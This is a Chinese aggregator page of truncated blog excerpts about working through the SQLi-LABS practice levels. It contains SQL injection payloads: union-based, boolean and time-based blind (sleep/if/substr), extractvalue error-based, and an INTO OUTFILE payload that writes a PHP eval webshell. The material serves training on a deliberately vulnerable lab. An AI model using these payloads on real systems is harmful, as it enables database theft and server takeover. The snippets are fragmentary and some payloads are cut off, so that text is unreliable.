Sqli-LABS通关笔录-1】的更多相关文章

好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试一试) Less-1: 提示参数是id,值为数字. 先测试是字符型还是字符串型: ?id=1 and 1=2--%20 ?id=1' and 1=2--%20 结果证明是字符串型. 然后一系列常规操作,order by 3为上限. payload: ?id=100' union select 1,u…
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太菜了..... 所以就真能默默的继续玩 Sqli labs系列 的源码了..... 不过SQL注入,主要可以分为 get 注入,post 注入,cookie 注入,其中咱们大部分都是的get 注入,post 注入都是提交表单类的注入,当然比如管理员登录框,如果存在注入,觉得嫌一直重复的话,可以用火狐…
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊...好歹我也是上打过网络安全攻防平台,注入卡在第七关,我下玩过 web_for_pentester ,web渗透靶机2pentester_II_i386,这些靶场的小菜比... 好了,不扯了,现在开始扯这个第二关. 原本想着明天闲着没事了玩玩吧,后来,我今天也是闲的没事,我就继续开始玩玩吧. 结果玩…
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了,我就开始弄这个,毕竟这个里面涉及到的 SQL 注入知识很全,我贴一个下载地址:Sqli labs系列下载地址 对了还有我这个系列的头顶图,那个图是某个低调群的活跃用户装X墙,纯属装 X ,娱乐着玩了,大家别当真哈. 开了正文开始了! 首先我们先开始第一关,然后构造下注入环境,也就是在 http://…
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空格]注释内容 #注释内容(url中使用23%) /*注释内容*/ 第一关 测试注入类型: http://192.168.142.136/sqli/Less-1/?id=1' 报错:You have an error in your SQL syntax; check the manual that…
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/sqli-labs-master/Less-1/?id=1 2.回显报错,说明是字符型注入, http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 3.回显正常,单引号闭合成功,通过单引号闭合进行注入, http://127.0.0.1/sqli-labs-…
 在此关卡我学习到了 1.只要跟数据库交互的多观察几遍.特别是对于http头这种类型的注入方式. 2. <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(); function check_input($value) { if(!empty($value)) { // truncation (see comme…
这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: <?php include("../sql-connections/sql-connect.php"); error_reporting(); function check_input($value) #定义一个函数为check_input,里面有一个参数为$value. { if…
这个关卡之前我还使用了一下工具跑,发现居然跑不出来.这就尴尬了.行吧手工试试. payload admin") and If(ascii(substr(database(),1,1))=115,sleep(5),1)#…
这关是延时的了. Payload: -admin' or sleep(10)# 需要注意的是,--+不行反而#才可以.具体缘由可见<sql注入之你问我答>第20问:http://www.cnblogs.com/xishaonian/p/6036909.html CODE:…
这一节让我学习到了 1.extractvalue函数(该函数用于对xml文件进行查询和修改,于此相关的还有一个叫“updatexml”函数) 语法:extractvalue(XML_document, XPath_string);  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程. 作用:从目标XML中返回包含所查询值的字符串 关于该函数…
输入账号:'123密码:456就报错了,报错如下所示: 跟刚才一样的.双引号换成了单引号而已. 注入为布尔型盲注,可以使用二分法注入 THE END…
通过这个关卡我学习到了: 1.双引号千万别忘记,就是因为忘了弄了好一会儿.一直不报错. 2. 00x1万能密码构造二 报错的内容为: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1 可以看出,他在我们输入的哪里多加了一个…
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可以猜测其网站的正常是SQL语句如下: $sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1" 即使如此,那么来尝试将其闭合. 账号密码同时尝试…
好像咋整都没辙.实在是关卡越高越不好整. 弄报错.咋整咋不报错. and sleep(10);鸭蛋的也不好搞.实在没辙.就看源码了. 由代码得出payload: THE END…
通过这个关卡 1.更快的掌握到了如何判断是否是延时注入 无论咋输入,都不行.当payload为: http://127.0.0.1/sql/Less-9/index.php?id=1' and sleep(10)--+ 回车,发现sleep(10)得到执行了.说明是可以注入的.并且是延时注入.那么就让我们来看看这个延时有什么与众不同吧. 这题也是延时注入,不知道是不是有别的方法.如果大家知道敬请奉告! THE END…
该关卡最主要的就是想要我们学习到Outfile函数(文件写入函数)的使用. 通过源代码我们很容易的写出了payload.倘若我们一个个去尝试的话,说实话,不容易. http://127.0.0.1/sql/Less-7/index.php?id=1')) and 1=1--+ Payload: http://127.0.0.1/sql/Less-7/index.php?id=1')) union select 1,'<?php eval($_POST[cmd])?>',3 into outfi…
第六关跟第五关一样的是布尔型盲注技术. 只是在部分有出路 添加一个单引号.程序无反应.双引号和斜杠可使其报错. 这一关让我学到了 1.管他三七二十七报错看看语句再说. THE END…
这一关卡让我学习到了 1.管他如何,想方设法先让sql报错再说.从报错中构造sql注入语句. 2.单引号不行就来双引号.括号等等的. 这次单引号没反应了.以后我们先来黑盒测试,实在没辙再看代码. -1有反应但是没数据 想办法把他弄报错.正在挣扎之际.成功了.不下心看了一下源码的.否则还真不好搞. 测试了很多方法 http:/index.php?id=--1' http:' http://127.0.0.1/sql/Less-4/index.php?id=1 and 1=1 --+ .......…
/*此时心情xxxx*/ 通过这一关卡我学习到了 1.大概的能够mysql回显错误注入的面目,可以根据报错,写出闭合语句. 加一个单引号.报错如下所示. 加了一个单引号就说 1'') LIMIT 0,1' at line 1 其实就可以猜出他的sql语句大概的是怎么样的了. 应该是这样的. select * form admin where ('$id'); 根据司机水平而定. 进而写出payload ') union select 1,2,3 --+ 来看看源码是否如此. 果不其然吧.…
在这个关卡学习到了 1.程序的错误不是学校收费乱来的,单引号的错误和减号的错误要明白 单引号报错. 用第一关的PAYLOAD尝试了下. 来看看源码: 那么我们构造的sql也就变成了 $sql="SELECT * FROM users WHERE id=1' or 1=1 --+ LIMIT 0,1"; 如此一来id=1'就不被执行,语句也就成了: $sql="or 1=1 --+ limit 0,1"; 用mysql测试一下,如下图.的确如此! 那么单引号不行就换负…
在第一个关卡当中还是学到些知识. 1.注释语句多试试其他的几个 2.不报错可能是前面的语句没有错误,union没有得到执行. http://127.0.0.1/sql/Less-1/index.php?id=1'         加单引号报错了. 从上面的错误提示当中,我们可以看到提交到sql中的1'在经过sql语句构造后形成 '1'' LIMIT 0,1,多加了一个 ' .接下来想如何将多余的 ' 去掉 可以借鉴一下源码 得出payload: 'or 1=1--+ 是不是这条语句就成功的绕过了…
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' and '0 ==>>不正常 所以是单引号注入.union一波试试: ?id=1' union select 1,2,'3 果然回显了.下面就从information_schema中爆数据了: 爆表名 ?id=100' union select 1,(select group_concat(tab…
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union select 1,2,3 less-40: 输入?id=1',无语法错误回显.改成?id=1' and '1,返回与?id=1相同的结果.尝试: ?id=100' union select 1,2,'3 无返回结果,试试是不是有括号: ?id=100') union(select 1,2,'3 成功回显. l…
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回了错误,后来又试了--,一直无法注释,不知道什么情况.后来看标题,发现已经把注释给过滤掉了.服务端如下代码: //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/-…
通过该关卡我学习到了 1.if语句的三目运算符(其实说白了也就是php里的三位运算符) 2.sleep函数 3.substring函数(其实和substr一样) 4.limit的灵活运用 5. Start Study 先来科普延时注入知识吧. 延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容. 拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1.下面的案例是延时了十秒. Exam…
/* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序是从0开始的,limit的时候要从0开始.{0,1}   该文就是布尔型盲注   盲注又分为了以下三种: 1.布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注 2.时间型盲注:根据页面返回的时间来判断的即为时间型盲注 3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注   FreeBuf的…
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加个负号,让其报错. 好吧,还不报错,,,, 所以我就是卡在这里的.... 我最后看了看源码,报错型注入关卡. 然后我就去查资料了,才有了上这个文章,我把上篇出现报错的句子复制开,到我的文本上. 然后先复制第一个用. 额,啥都没爆出来.看来语句有点问题,我再改改. 好得,成功呢的报错了. 然后我把 d…
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于报错注入是在玩网络攻防平台第几关来着得,那个关卡时基于报错注入的,我当时还特地查了好多资料,学习了学习报错注入,当然在那段时间时,我看到我一个认为不错的团队开始收核心成员了,我就发了一份申请,果不其然,我被刷下来了,,,毕竟我还是菜么..... 当时申请的时候,我就想过,团队不养闲人,毕竟菜,所以菜…
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子,我又跳进另一个坑了....正如这章的顶图,MySQL语句,我看人家正好用这个分析,为什么大家在构造语句的时候要用这个SQL语句,我自己想了想,我好像没总结这么细,所以就趁着这章,把那个SQL语句的在MySQL里的用法,写写,总结总结,然后再打第四关. 我先上一个我将用到的命令图,大家先看一下,防止…